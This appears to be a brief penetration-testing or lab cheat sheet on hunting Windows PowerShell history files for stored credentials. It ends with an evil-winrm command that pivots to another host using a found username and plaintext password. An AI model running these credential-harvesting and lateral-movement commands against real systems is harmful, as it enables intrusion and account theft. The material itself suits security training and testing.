PowerShell History Hunting

Show current user’s history

Get-History
(Get-PSReadlineOption).HistorySavePath
type C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Cross-user via env

powershell -c type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Pivot using found credentials (example)

evil-winrm -i 192.168.50.220 -u daveadmin -p "qwertqwertqwert123\!\!"